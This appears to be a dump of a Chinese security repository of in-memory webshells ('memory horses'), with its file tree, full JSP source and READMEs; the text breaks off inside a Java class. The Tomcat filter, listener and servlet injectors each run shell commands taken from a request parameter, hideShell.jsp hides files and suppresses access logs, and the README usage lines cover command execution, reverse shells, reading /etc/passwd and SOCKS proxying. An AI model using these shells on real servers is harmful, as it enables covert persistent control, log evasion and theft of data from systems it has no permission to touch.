├── MemShellForJava ├── filter │ └── addFilter.jsp ├── listener │ └── AddListener.jsp ├── servlet │ ├── AddServlet.jsp │ └── README.md ├── spring │ └── README.md ├── 任意jsp隐藏 │ └── hideShell.jsp ├── 字节码增强型 │ ├── redefine字节码 │ │ └── README.md │ └── retransform字节码 │ │ ├── README.md │ │ ├── linux_agent │ │ └── memShell │ │ │ ├── README.md │ │ │ ├── agent.iml │ │ │ ├── lib │ │ │ ├── agent.jar │ │ │ └── tools.jar │ │ │ ├── pom.xml │ │ │ └── src │ │ │ └── net │ │ │ └── rebeyond │ │ │ └── memshell │ │ │ ├── Evaluate.java │ │ │ └── redefine │ │ │ ├── MyRequest.java │ │ │ ├── MyResponse.java │ │ │ ├── MyServletContext.java │ │ │ ├── MyServletInputStream.java │ │ │ ├── MyServletOutputStream.java │ │ │ └── MySession.java │ │ ├── linux_inject │ │ └── memShell │ │ │ ├── .classpath │ │ │ ├── .fatjar │ │ │ ├── .project │ │ │ ├── META-INF │ │ │ └── MANIFEST.MF │ │ │ ├── README.md │ │ │ ├── inject.iml │ │ │ ├── lib │ │ │ ├── agent.jar │ │ │ ├── inject.jar │ │ │ └── javax.servlet-api-3.1.0.jar │ │ │ ├── out │ │ │ ├── agent.jar │ │ │ ├── inject.jar │ │ │ ├── shell_3_0_2.jsp │ │ │ └── shell_3_0_5.jsp │ │ │ ├── pom.xml │ │ │ └── src │ │ │ ├── META-INF │ │ │ └── MANIFEST.MF │ │ │ ├── net │ │ │ └── rebeyond │ │ │ │ └── memshell │ │ │ │ ├── Agent.java │ │ │ │ ├── Attach.java │ │ │ │ ├── Evaluate.java │ │ │ │ ├── Proxy.java │ │ │ │ ├── Shell.java │ │ │ │ └── Transformer.java │ │ │ └── source.txt │ │ └── release │ │ ├── agent.jar │ │ └── inject.jar └── 漏洞环境 │ ├── README.md │ ├── upload-demo.war │ └── upload-demo │ ├── .idea │ ├── misc.xml │ ├── modules.xml │ ├── upload.iml │ └── workspace.xml │ ├── META-INF │ └── war-tracker │ ├── WEB-INF │ ├── classes │ │ ├── action │ │ │ ├── DownAction.class │ │ │ ├── UploadAction.class │ │ │ └── UploadMoreAction.class │ │ └── struts.xml │ ├── lib │ │ ├── commons-fileupload-1.3.1.jar │ │ ├── commons-io-2.2.jar │ │ ├── commons-lang3-3.2.jar │ │ ├── freemarker-2.3.19.jar │ │ ├── javassist-3.11.0.GA.jar │ │ ├── ognl-3.0.6.jar │ │ ├── struts2-core-2.3.20.jar │ │ ├── struts2-json-plugin-2.3.20.jar │ │ └── xwork-core-2.3.20.jar │ └── web.xml │ ├── filemore.jsp │ ├── index.jsp │ └── success.jsp ├── MemShellForPHP ├── 内存驻留webshell │ ├── README.md │ ├── memWebshell.php │ └── test.txt ├── 漏洞环境 │ └── php内存马漏洞环境.md └── 通过php-fpm未授权访问漏洞攻击 │ ├── 1.txt │ ├── README.md │ └── php-fpm-exp.py ├── MemShellForPython ├── python flask 内存马.assets │ ├── image-20210329220246511.png │ └── image-20210329220308313.png ├── python flask 内存马.md └── 漏洞环境 │ └── flaskSstiServer.py ├── README.assets └── wechat.jpeg └── README.md /MemShellForJava/filter/addFilter.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" contentType="text/html; charset=UTF-8" 2 | pageEncoding="UTF-8"%> 3 | <%@ page import="java.io.IOException"%> 4 | <%@ page import="javax.servlet.DispatcherType"%> 5 | <%@ page import="javax.servlet.Filter"%> 6 | <%@ page import="javax.servlet.FilterChain"%> 7 | <%@ page import="javax.servlet.FilterConfig"%> 8 | <%@ page import="javax.servlet.FilterRegistration"%> 9 | <%@ page import="javax.servlet.ServletContext"%> 10 | <%@ page import="javax.servlet.ServletException"%> 11 | <%@ page import="javax.servlet.ServletRequest"%> 12 | <%@ page import="javax.servlet.ServletResponse"%> 13 | <%@ page import="javax.servlet.annotation.WebServlet"%> 14 | <%@ page import="javax.servlet.http.HttpServlet"%> 15 | <%@ page import="javax.servlet.http.HttpServletRequest"%> 16 | <%@ page import="javax.servlet.http.HttpServletResponse"%> 17 | <%@ page import="org.apache.catalina.core.ApplicationContext"%> 18 | <%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%> 19 | <%@ page import="org.apache.catalina.core.StandardContext"%> 20 | <%@ page import="org.apache.tomcat.util.descriptor.web.*"%> 21 | <%@ page import="org.apache.catalina.Context"%> 22 | <%@ page import="java.lang.reflect.*"%> 23 | <%@ page import="java.util.EnumSet"%> 24 | <%@ page import="java.util.Map"%> 25 | 26 | 27 | 28 | 29 | 30 | 31 | Insert title here 32 | 33 | 34 | <% 35 | final String name = "n1ntyfilter"; 36 | 37 | ServletContext ctx = request.getSession().getServletContext(); 38 | Field f = ctx.getClass().getDeclaredField("context"); 39 | f.setAccessible(true); 40 | ApplicationContext appCtx = (ApplicationContext)f.get(ctx); 41 | 42 | f = appCtx.getClass().getDeclaredField("context"); 43 | f.setAccessible(true); 44 | StandardContext standardCtx = (StandardContext)f.get(appCtx); 45 | 46 | 47 | f = standardCtx.getClass().getDeclaredField("filterConfigs"); 48 | f.setAccessible(true); 49 | Map filterConfigs = (Map)f.get(standardCtx); 50 | 51 | if (filterConfigs.get(name) == null) { 52 | out.println("inject "+ name); 53 | 54 | Filter filter = new Filter() { 55 | @Override 56 | public void init(FilterConfig arg0) throws ServletException { 57 | // TODO Auto-generated method stub 58 | } 59 | 60 | @Override 61 | public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2) 62 | throws IOException, ServletException { 63 | // TODO Auto-generated method stub 64 | HttpServletRequest req = (HttpServletRequest)arg0; 65 | if (req.getParameter("cmd") != null) { 66 | byte[] data = new byte[1024]; 67 | Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start(); 68 | int len = p.getInputStream().read(data); 69 | p.destroy(); 70 | arg1.getWriter().write(new String(data, 0, len)); 71 | return; 72 | } 73 | arg2.doFilter(arg0, arg1); 74 | } 75 | 76 | @Override 77 | public void destroy() { 78 | // TODO Auto-generated method stub 79 | } 80 | }; 81 | 82 | FilterDef filterDef = new FilterDef(); 83 | filterDef.setFilterName(name); 84 | filterDef.setFilterClass(filter.getClass().getName()); 85 | filterDef.setFilter(filter); 86 | 87 | standardCtx.addFilterDef(filterDef); 88 | 89 | FilterMap m = new FilterMap(); 90 | m.setFilterName(filterDef.getFilterName()); 91 | m.setDispatcher(DispatcherType.REQUEST.name()); 92 | m.addURLPattern("/*"); 93 | 94 | 95 | standardCtx.addFilterMapBefore(m); 96 | 97 | 98 | Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); 99 | constructor.setAccessible(true); 100 | FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef); 101 | 102 | 103 | filterConfigs.put(name, filterConfig); 104 | 105 | out.println("injected"); 106 | } 107 | %> 108 | 109 | -------------------------------------------------------------------------------- /MemShellForJava/listener/AddListener.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="org.apache.catalina.core.ApplicationContext" %> 2 | <%@ page import="org.apache.catalina.core.StandardContext" %> 3 | <% 4 | Object obj = request.getServletContext(); 5 | java.lang.reflect.Field field = obj.getClass().getDeclaredField("context"); 6 | field.setAccessible(true); 7 | ApplicationContext applicationContext = (ApplicationContext) field.get(obj); 8 | //获取ApplicationContext 9 | field = applicationContext.getClass().getDeclaredField("context"); 10 | field.setAccessible(true); 11 | StandardContext standardContext = (StandardContext) field.get(applicationContext); 12 | //获取StandardContext 13 | ListenerDemo listenerdemo = new ListenerDemo(); 14 | //创建能够执行命令的Listener 15 | standardContext.addApplicationEventListener(listenerdemo); 16 | %> 17 | <%! 18 | public class ListenerDemo implements ServletRequestListener { 19 | public void requestDestroyed(ServletRequestEvent sre) { 20 | System.out.println("requestDestroyed"); 21 | } 22 | public void requestInitialized(ServletRequestEvent sre) { 23 | System.out.println("requestInitialized"); 24 | try{ 25 | String cmd = sre.getServletRequest().getParameter("cmd"); 26 | Runtime.getRuntime().exec(cmd); 27 | }catch (Exception e ){ 28 | //e.printStackTrace(); 29 | } 30 | } 31 | } 32 | %> -------------------------------------------------------------------------------- /MemShellForJava/servlet/AddServlet.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.IOException" %> 2 | <%@ page import="java.io.InputStream" %> 3 | <%@ page import="java.util.Scanner" %> 4 | <%@ page import="org.apache.catalina.core.StandardContext" %> 5 | <%@ page import="java.io.PrintWriter" %> 6 | 7 | <% 8 | // 创建恶意Servlet 9 | Servlet servlet = new Servlet() { 10 | @Override 11 | public void init(ServletConfig servletConfig) throws ServletException { 12 | 13 | } 14 | @Override 15 | public ServletConfig getServletConfig() { 16 | return null; 17 | } 18 | @Override 19 | public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { 20 | String cmd = servletRequest.getParameter("cmd"); 21 | boolean isLinux = true; 22 | String osTyp = System.getProperty("os.name"); 23 | if (osTyp != null && osTyp.toLowerCase().contains("win")) { 24 | isLinux = false; 25 | } 26 | String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; 27 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 28 | Scanner s = new Scanner(in).useDelimiter("\\a"); 29 | String output = s.hasNext() ? s.next() : ""; 30 | PrintWriter out = servletResponse.getWriter(); 31 | out.println(output); 32 | out.flush(); 33 | out.close(); 34 | } 35 | @Override 36 | public String getServletInfo() { 37 | return null; 38 | } 39 | @Override 40 | public void destroy() { 41 | 42 | } 43 | }; 44 | 45 | %> 46 | <% 47 | // 获取StandardContext 48 | org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); 49 | StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext(); 50 | 51 | // 用Wrapper对其进行封装 52 | org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper(); 53 | newWrapper.setName("jweny"); 54 | newWrapper.setLoadOnStartup(1); 55 | newWrapper.setServlet(servlet); 56 | newWrapper.setServletClass(servlet.getClass().getName()); 57 | 58 | // 添加封装后的恶意Wrapper到StandardContext的children当中 59 | standardCtx.addChild(newWrapper); 60 | 61 | // 添加ServletMapping将访问的URL和Servlet进行绑定 62 | standardCtx.addServletMapping("/shell","jweny"); 63 | %> -------------------------------------------------------------------------------- /MemShellForJava/servlet/README.md: -------------------------------------------------------------------------------- 1 | 哥斯拉的内存马为servlet型。 -------------------------------------------------------------------------------- /MemShellForJava/spring/README.md: -------------------------------------------------------------------------------- 1 | writing... -------------------------------------------------------------------------------- /MemShellForJava/任意jsp隐藏/hideShell.jsp: -------------------------------------------------------------------------------- 1 | <%@page import="java.awt.SystemColor"%> 2 | <%@page import="org.apache.jasper.JspCompilationContext"%> 3 | <%@page import="java.io.*"%> 4 | <%@page import="java.util.*"%> 5 | <%@page import="java.util.zip.*"%> 6 | <%@ page import="javax.servlet.jsp.*"%> 7 | <%@page import="org.apache.jasper.EmbeddedServletOptions"%> 8 | <%@page import="org.apache.jasper.compiler.JspRuntimeContext"%> 9 | <%@page import="org.apache.jasper.servlet.JspServletWrapper" %> 10 | <%@page import="org.apache.catalina.valves.AccessLogValve"%> 11 | <%@page import="org.apache.catalina.AccessLog"%> 12 | <%@page import="org.apache.catalina.core.AccessLogAdapter"%> 13 | <%@page import="org.apache.catalina.core.StandardHost"%> 14 | <%@ page import="org.apache.catalina.core.ApplicationContext"%> 15 | <%@ page import="org.apache.catalina.core.StandardContext"%> 16 | <%@ page language="java" contentType="text/html; charset=UTF-8" 17 | pageEncoding="UTF-8"%> 18 | <%@ page import="java.lang.reflect.*" %><%! 19 | private static class AttachingWrapper extends JspServletWrapper { 20 | private JspServletWrapper original = null; 21 | private JspServletWrapper evil = null; 22 | 23 | 24 | public AttachingWrapper(JspServletWrapper original, JspServletWrapper evil, ServletConfig config, org.apache.jasper.Options options, 25 | String jspUri, JspRuntimeContext rctxt) { 26 | super(config, options, jspUri, rctxt); 27 | 28 | this.original = original; 29 | this.evil = evil; 30 | } 31 | 32 | public void service(HttpServletRequest request, 33 | HttpServletResponse response, 34 | boolean precompile) 35 | throws ServletException, IOException, FileNotFoundException { 36 | if (request.getHeader("Evil") != null) { 37 | try { 38 | nolog(request); 39 | } catch (Exception ex){} 40 | this.evil.service(request, response, precompile); 41 | } else { 42 | this.original.service(request, response, precompile); 43 | } 44 | } 45 | } 46 | private static class SpyClassLoader extends ClassLoader{ 47 | private byte[] zipdata = null; 48 | private JspWriter out = null; 49 | 50 | private Map cls = new HashMap(); 51 | public SpyClassLoader(ClassLoader parent, byte[] zipdata, JspWriter out) throws Exception { 52 | super(parent); 53 | this.out = out; 54 | this.zipdata = zipdata; 55 | this.processZip(); 56 | } 57 | 58 | private void processZip() throws Exception { 59 | if (this.zipdata != null) { 60 | ZipInputStream stream = null; 61 | stream = new ZipInputStream(new ByteArrayInputStream(this.zipdata)); 62 | byte[] buffer = new byte[2048]; 63 | ZipEntry entry; 64 | while((entry = stream.getNextEntry())!=null) 65 | { 66 | 67 | ByteArrayOutputStream output = null; 68 | try 69 | { 70 | output = new ByteArrayOutputStream(); 71 | int len = 0; 72 | while ((len = stream.read(buffer)) > 0) 73 | { 74 | output.write(buffer, 0, len); 75 | } 76 | } 77 | finally 78 | { 79 | if(output!=null) output.close(); 80 | //this.out.println(entry.getName()); 81 | this.cls.put("org.apache.jsp."+entry.getName(), output.toByteArray()); 82 | } 83 | } 84 | stream.close(); 85 | } 86 | } 87 | 88 | protected Class findClass(String name) 89 | throws ClassNotFoundException { 90 | 91 | byte[] clsdata = this.cls.get(name+".class"); 92 | if (clsdata != null) { 93 | return super.defineClass(name, clsdata, 0, clsdata.length); 94 | } 95 | return null; 96 | } 97 | 98 | 99 | public Class defineClass(String name,byte[] b) { 100 | return super.defineClass(name,b,0,b.length); 101 | } 102 | } 103 | private static class UploadBean { 104 | private ServletInputStream sis = null; 105 | private OutputStream targetOutput = null; 106 | private byte[] b = new byte[1024]; 107 | private String fileName = null; 108 | 109 | public String getFileName() { 110 | return this.fileName; 111 | } 112 | 113 | public void setTargetOutput(OutputStream stream) { 114 | this.targetOutput = stream; 115 | } 116 | public UploadBean(OutputStream stream) { 117 | this.setTargetOutput(stream); 118 | } 119 | 120 | public void parseRequest(HttpServletRequest request) throws IOException { 121 | sis = request.getInputStream(); 122 | int a = 0; 123 | int k = 0; 124 | String s = ""; 125 | while ((a = sis.readLine(b,0,b.length))!= -1) { 126 | s = new String(b, 0, a,"UTF-8"); 127 | if ((k = s.indexOf("filename=\""))!= -1) { 128 | s = s.substring(k + 10); 129 | k = s.indexOf("\""); 130 | s = s.substring(0, k); 131 | File tF = new File(s); 132 | if (tF.isAbsolute()) { 133 | fileName = tF.getName(); 134 | } else { 135 | fileName = s; 136 | } 137 | k = s.lastIndexOf("."); 138 | // suffix = s.substring(k + 1); 139 | upload(); 140 | } 141 | } 142 | } 143 | private void upload() throws IOException{ 144 | try { 145 | OutputStream out = this.targetOutput; 146 | 147 | int a = 0; 148 | int k = 0; 149 | String s = ""; 150 | while ((a = sis.readLine(b,0,b.length))!=-1) { 151 | s = new String(b, 0, a); 152 | if ((k = s.indexOf("Content-Type:"))!=-1) { 153 | break; 154 | } 155 | } 156 | sis.readLine(b,0,b.length); 157 | while ((a = sis.readLine(b,0,b.length)) != -1) { 158 | s = new String(b, 0, a); 159 | if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) { 160 | break; 161 | } 162 | out.write(b, 0, a); 163 | } 164 | out.close(); 165 | //if (out instanceof FileOutputStream) 166 | //out.close(); 167 | } catch (IOException ioe) { 168 | throw ioe; 169 | } 170 | } 171 | } 172 | 173 | private static final Map hiddenWrappers = new HashMap(); 174 | 175 | public static String makeWrapperUri(HttpServletRequest request) { 176 | String uri = request.getServletPath(); 177 | String pathinfo = request.getPathInfo(); 178 | if (pathinfo != null) { 179 | uri += pathinfo; 180 | } 181 | return uri; 182 | } 183 | public static boolean accessingSelf(HttpServletRequest request, JspRuntimeContext jctxt) { 184 | JspServletWrapper wrapper = getHideShellWrapper(request, jctxt); 185 | String requestUri = makeWrapperUri(request); 186 | if (!wrapper.getJspUri().equals(requestUri)) { 187 | return false; 188 | } 189 | return true; 190 | } 191 | public static void includeHiddenShell(HttpServletRequest request, HttpServletResponse response) throws Exception { 192 | JspServletWrapper wrapper = hiddenWrappers.get(makeWrapperUri(request)); 193 | if (wrapper != null) { 194 | wrapper.service(request, response, false); 195 | } else { 196 | response.sendError(404, "the hidden JspServletWrapper doesn't exist, this should not happen"); 197 | } 198 | } 199 | public static JspServletWrapper getHideShellWrapper(HttpServletRequest request, JspRuntimeContext jctxt) { 200 | String wrapperUri = makeWrapperUri(request); 201 | JspServletWrapper self = jctxt.getWrapper(wrapperUri); 202 | return self; 203 | } 204 | public static void hideWrapper(JspServletWrapper wrapper) throws Exception { 205 | wrapper.setLastModificationTest(System.currentTimeMillis() + 31536000 * 1000); 206 | JspCompilationContext ctxt = wrapper.getJspEngineContext(); 207 | EmbeddedServletOptions jspServletOptions = (EmbeddedServletOptions)ctxt.getOptions(); 208 | if ((Integer)getFieldValue(jspServletOptions, "modificationTestInterval") <= 0) { 209 | setFieldValue(jspServletOptions, "modificationTestInterval", 1); 210 | } 211 | } 212 | public static Object invoke(Object obj, String methodName, Class[] paramTypes, Object[] args) throws Exception { 213 | Method m = obj.getClass().getDeclaredMethod(methodName, paramTypes); 214 | m.setAccessible(true); 215 | return m.invoke(obj, args); 216 | } 217 | public static Object getFieldValue(Object obj, String fieldName) throws Exception { 218 | Field f = obj.getClass().getDeclaredField(fieldName); 219 | f.setAccessible(true); 220 | return f.get(obj); 221 | } 222 | public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { 223 | Field f = obj.getClass().getDeclaredField(fieldName); 224 | f.setAccessible(true); 225 | if (Modifier.isFinal(f.getModifiers())) { 226 | //reset final field 227 | Field modifiersField = Field.class.getDeclaredField("modifiers"); 228 | modifiersField.setAccessible(true); 229 | modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); 230 | } 231 | f.set(obj, value); 232 | } 233 | public static String makeHiddenName(String wrapperName) { 234 | int lastIndex = wrapperName.lastIndexOf('/'); 235 | return wrapperName.substring(0, lastIndex + 1) + "hidden-" + wrapperName.substring(lastIndex + 1); 236 | } 237 | public static boolean isHiddenJsp(ServletRequest request, String key, JspServletWrapper wrapper) { 238 | JspCompilationContext ctxt = wrapper.getJspEngineContext(); 239 | if (!new File(request.getServletContext().getRealPath(ctxt.getJspFile())).exists() || !key.equals(wrapper.getJspUri())) { 240 | return true; 241 | } 242 | return false; 243 | } 244 | public static void nolog(HttpServletRequest request) throws Exception { 245 | ServletContext ctx = request.getSession().getServletContext(); 246 | ApplicationContext appCtx = (ApplicationContext)getFieldValue(ctx, "context"); 247 | StandardContext standardCtx = (StandardContext)getFieldValue(appCtx, "context"); 248 | 249 | StandardHost host = (StandardHost)standardCtx.getParent(); 250 | AccessLogAdapter accessLog = (AccessLogAdapter)host.getAccessLog(); 251 | 252 | AccessLog[] logs = (AccessLog[])getFieldValue(accessLog, "logs"); 253 | for(AccessLog log:logs) { 254 | AccessLogValve logV = (AccessLogValve)log; 255 | String condition = logV.getCondition() == null ? "n1nty_nolog" : logV.getCondition(); 256 | logV.setCondition(condition); 257 | request.setAttribute(condition, "n1nty_nolog"); 258 | } 259 | } 260 | %><% 261 | nolog(request); 262 | 263 | Object r = getFieldValue(request, "request"); 264 | Object filterChain = getFieldValue(r, "filterChain"); 265 | Object servlet = getFieldValue(filterChain, "servlet"); 266 | JspRuntimeContext jctxt = (JspRuntimeContext)getFieldValue(servlet, "rctxt"); 267 | 268 | if (!accessingSelf(request, jctxt)) { 269 | includeHiddenShell(request, response); 270 | return; 271 | } 272 | 273 | %> 274 | 275 | 276 | 277 | 278 | Hideshell.jsp by n1nty 279 | 280 | 281 | 282 |
    283 | <% 284 | String action = request.getParameter("action"); 285 | 286 | if ("upload".equals(action)) { 287 | 288 | ByteArrayOutputStream byteout = new ByteArrayOutputStream(); 289 | UploadBean upload = new UploadBean(byteout); 290 | upload.parseRequest(request); 291 | 292 | boolean zip = upload.getFileName().endsWith(".zip"); 293 | String path = !zip ? "/test.jsp" : "/jspspy2010.jsp"; 294 | String clsName = !zip ? "org.apache.jsp.test_jsp" : "org.apache.jsp.jspspy2010_jsp"; 295 | 296 | javax.servlet.ServletConfig servletConfig = (javax.servlet.ServletConfig)getFieldValue(servlet, "config"); 297 | org.apache.jasper.Options options = (org.apache.jasper.Options)getFieldValue(servlet, "options"); 298 | JspServletWrapper wrapper = new JspServletWrapper(servletConfig, options, path, jctxt); 299 | 300 | hideWrapper(wrapper); 301 | wrapper.setReload(false); 302 | 303 | 304 | byte[] data = byteout.toByteArray(); 305 | byte[] bytes = new byte[data.length -2]; 306 | System.arraycopy(data, 0, bytes, 0, data.length -2); 307 | 308 | Class cls = null; 309 | if (zip) { 310 | cls = new SpyClassLoader(this.getClass().getClassLoader(), bytes, out).loadClass(clsName); 311 | } else { 312 | cls = new SpyClassLoader(this.getClass().getClassLoader(), null, out).defineClass(clsName, bytes); 313 | } 314 | if (cls != null) { 315 | Servlet s = (Servlet)cls.newInstance(); 316 | s.init(servletConfig); 317 | setFieldValue(wrapper, "theServlet", s); 318 | jctxt.addWrapper(path, getHideShellWrapper(request, jctxt)); 319 | hiddenWrappers.put(path, wrapper); 320 | } else { 321 | out.println("no class"); 322 | } 323 | 324 | 325 | } 326 | 327 | if (action == null || action.equals("list") || action.equals("upload")) { 328 | Map jsps = (Map)getFieldValue(jctxt, "jsps"); 329 | for (Map.Entry entry : jsps.entrySet()) { 330 | JspServletWrapper wrapper = entry.getValue(); 331 | %> 332 |
  • 333 | <% 334 | if (isHiddenJsp(request, entry.getKey(), wrapper)) { 335 | %> 336 | <%=entry.getKey() %> possible hidden file, Delete 337 | Attach to normal.jsp 338 | <% 339 | } else { 340 | %> 341 | Hide <%=entry.getKey() %> 342 | Attach to normal.jsp 343 | <% 344 | } 345 | %> 346 |
    • 347 | <% 348 | } 349 | } else if (action.equals("hide")) { 350 | String wrapperName = request.getParameter("wrapperName"); 351 | String hiddenWrapperName = makeHiddenName(wrapperName); 352 | if (jctxt.getWrapper(hiddenWrapperName) == null) { 353 | JspServletWrapper wrapper = jctxt.getWrapper(wrapperName); 354 | 355 | hideWrapper(wrapper); 356 | /* 357 | wrapper.setLastModificationTest(System.currentTimeMillis() + 31536000 * 1000); 358 | JspCompilationContext ctxt = wrapper.getJspEngineContext(); 359 | EmbeddedServletOptions jspServletOptions = (EmbeddedServletOptions)ctxt.getOptions(); 360 | if ((Integer)getFieldValue(jspServletOptions, "modificationTestInterval") <= 0) { 361 | setFieldValue(jspServletOptions, "modificationTestInterval", 1); 362 | }*/ 363 | 364 | wrapper.getJspEngineContext().getCompiler().removeGeneratedFiles(); 365 | 366 | if (wrapper == getHideShellWrapper(request, jctxt)) { 367 | // is hiding hideshell.jsp itself 368 | setFieldValue(wrapper, "jspUri", hiddenWrapperName); 369 | jctxt.addWrapper(hiddenWrapperName, wrapper); 370 | } else { 371 | jctxt.addWrapper(hiddenWrapperName, getHideShellWrapper(request, jctxt)); 372 | hiddenWrappers.put(hiddenWrapperName, wrapper); 373 | } 374 | 375 | jctxt.removeWrapper(wrapperName); 376 | 377 | JspCompilationContext ctxt = wrapper.getJspEngineContext(); 378 | new File(request.getServletContext().getRealPath(ctxt.getJspFile())).delete(); 379 | } 380 | out.println("done"); 381 | } else if (action.equals("delete")) { 382 | String wrapperName = request.getParameter("wrapperName"); 383 | jctxt.removeWrapper(wrapperName); 384 | hiddenWrappers.remove(wrapperName); 385 | out.println("done"); 386 | 387 | } else if (action.equals("attach")) { 388 | String wrapperName = request.getParameter("wrapperName"); 389 | String attachto = "/normal.jsp"; 390 | 391 | JspServletWrapper original = jctxt.getWrapper(attachto); 392 | 393 | if (original == null) { 394 | out.println("access /normal.jsp first"); 395 | return; 396 | } 397 | JspServletWrapper evil = jctxt.getWrapper(wrapperName); 398 | 399 | javax.servlet.ServletConfig servletConfig = (javax.servlet.ServletConfig)getFieldValue(servlet, "config"); 400 | org.apache.jasper.Options options = (org.apache.jasper.Options)getFieldValue(servlet, "options"); 401 | 402 | AttachingWrapper attachingWrapper = new AttachingWrapper(original, evil, servletConfig, options, attachto, jctxt); 403 | hideWrapper(attachingWrapper); 404 | attachingWrapper.setReload(false); 405 | 406 | hideWrapper(evil); 407 | 408 | jctxt.removeWrapper(wrapperName); 409 | jctxt.removeWrapper(attachto); 410 | 411 | jctxt.addWrapper(attachto, attachingWrapper); 412 | 413 | 414 | JspCompilationContext ctxt = evil.getJspEngineContext(); 415 | new File(request.getServletContext().getRealPath(ctxt.getJspFile())).delete(); 416 | // jctxt.addWrapper(attachto, getHideShellWrapper(request, jctxt)); 417 | // hiddenWrappers.put(attachto, attachingWrapper); 418 | } 419 | 420 | 421 | %> 422 |
423 | 424 |
425 | 426 | 427 |
428 | 429 | 430 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/redefine字节码/README.md: -------------------------------------------------------------------------------- 1 | 冰蝎3.0-BETA7 内存马为redefine字节码型。 2 | 3 | https://github.com/rebeyond/Behinder/releases 4 | 5 | https://github.com/MountCloud/BehinderClientSource 6 | 7 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/README.md: -------------------------------------------------------------------------------- 1 | 将release中的inject.jar agent.jar复制目标服务器。 2 | 3 | 运行inject.jar: 4 | 5 | (测试时注意备份，会删除自身和agent.jar) 6 | 7 | java -jar inject.jar 123 8 | 9 | 连接内存马： 10 | 11 | http://ip:port/1.jsp?pass_the_world=123&model=chopper 12 | 13 | 执行命令： 14 | 15 | ``` 16 | http://ip:port/1.jsp?pass_the_world=123&model=exec&cmd=whoami 17 | ``` 18 | 19 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_agent/memShell/README.md: -------------------------------------------------------------------------------- 1 | # memShell 2 | a webshell resides in the memory of java web server 3 | 4 | # install 5 | * unzip memShell.zip 6 | * cd memShell 7 | * java -jar inject.jar 8 | # usage 9 | * anyurl?pass_the_world=pass //show this help page. 10 | * anyurl?pass_the_world=pass&model=exec&cmd=whoami //run os command. 11 | * anyurl?pass_the_world=pass&model=connectback&ip=8.8.8.8&port=51 //reverse a shell back to 8.8.8.8 on port 51. 12 | * anyurl?pass_the_world=pass&model=urldownload&url=http://xxx.com/test.pdf&path=/tmp/test.pdf //download a remote file via the victim's network directly. 13 | * anyurl?pass_the_world=pass&model=list[del|show]&path=/etc/passwd //list,delete,show the specified path or file. 14 | * anyurl?pass_the_world=pass&model=download&path=/etc/passwd //download the specified file on the victim's disk. 15 | * anyurl?pass_the_world=pass&model=upload&path=/tmp/a.elf&content=this_is_content[&type=b] //upload a text file or a base64 encoded binary file to the victim's disk. 16 | * anyurl?pass_the_world=pass&model=proxy //start a socks proxy server on the victim. 17 | * anyurl?pass_the_world=pass&model=chopper //start a chopper server agent on the victim. 18 | 19 | **!!!It is recommended to use the POST method to submit data.** 20 | 21 | # note 22 | For learning exchanges only, do not use for illegal purposes.by rebeyond. 23 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_agent/memShell/agent.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_agent/memShell/lib/agent.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jweny/MemShellDemo/3ed66da4eb6d24f406b9e1641a4ee12ac617f590/MemShellForJava/字节码增强型/retransform字节码/linux_agent/memShell/lib/agent.jar -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_agent/memShell/lib/tools.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jweny/MemShellDemo/3ed66da4eb6d24f406b9e1641a4ee12ac617f590/MemShellForJava/字节码增强型/retransform字节码/linux_agent/memShell/lib/tools.jar -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_agent/memShell/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4.0.0 3 | ParaShell 4 | ParaShell 5 | 0.0.1-SNAPSHOT 6 | 7 | src 8 | 9 | 10 | maven-compiler-plugin 11 | 3.6.1 12 | 13 | 1.6 14 | 1.6 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | org.javassist 23 | javassist 24 | 3.22.0-GA 25 | 26 | 27 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_agent/memShell/src/net/rebeyond/memshell/Evaluate.java: -------------------------------------------------------------------------------- 1 | package net.rebeyond.memshell; 2 | 3 | import net.rebeyond.memshell.redefine.MyRequest; 4 | import net.rebeyond.memshell.redefine.MyResponse; 5 | import net.rebeyond.memshell.redefine.MySession; 6 | 7 | import javax.crypto.Cipher; 8 | import javax.crypto.spec.SecretKeySpec; 9 | import javax.servlet.ServletRequest; 10 | import javax.servlet.ServletResponse; 11 | import javax.servlet.http.HttpServletRequest; 12 | import javax.servlet.http.HttpServletResponse; 13 | import java.io.BufferedReader; 14 | import java.io.IOException; 15 | import java.lang.reflect.Method; 16 | import java.net.URL; 17 | import java.net.URLClassLoader; 18 | 19 | 20 | public class Evaluate { 21 | 22 | private static final long serialVersionUID = 1L; 23 | 24 | class U extends ClassLoader { 25 | U(ClassLoader c) { 26 | super(c); 27 | } 28 | 29 | public Class g(byte[] 